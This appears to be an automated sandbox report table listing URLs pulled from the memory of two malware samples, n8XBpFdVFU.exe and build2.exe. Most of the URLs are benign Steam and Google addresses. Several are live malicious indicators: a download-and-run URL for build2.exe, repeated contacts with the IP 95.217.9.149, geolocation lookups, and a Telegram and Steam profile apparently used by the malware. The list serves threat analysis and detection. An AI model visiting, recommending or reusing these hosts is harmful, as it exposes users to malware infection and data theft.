http://schemas.microsoft.c	n8XBpFdVFU.exe, 00000001.00000002.1645789989.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000001.00000003.1641859904.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/JKKJDGDGDGIDGIIDAAK	build2.exe, 00000008.00000002.1876440221.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.youtube.com	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.google.com	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steamcommunity.com/profiles/76561199673019888P	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.reddit.com/	n8XBpFdVFU.exe, 00000004.00000003.1717703012.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steam.tv/	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.1494/4/2024	build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://95.217.9.149a	build2.exe, 00000008.00000002.1875771644.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsono	n8XBpFdVFU.exe, 00000001.00000002.1645789989.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exe$run	n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.0000000000970000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.000000000097A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonj	n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888/badges	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/%M	n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonf	n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonb	n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.youtube.com/	n8XBpFdVFU.exe, 00000006.00000003.1717933182.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27	n8XBpFdVFU.exe, 00000004.00000002.2147425964.000000000084C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2146628528.000000000084B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2146659313.0000000000842000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.0000000000932000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.000000000094B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonO	n8XBpFdVFU.exe, 00000001.00000002.1645789989.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.14925ef84b733fnt-Disposition:	build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/8	n8XBpFdVFU.exe, 00000001.00000002.1645789989.00000000007A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://t.me/irfailAt	build2.exe, 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149.exe	build2.exe, 00000008.00000002.1875771644.000000000051A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	false		high
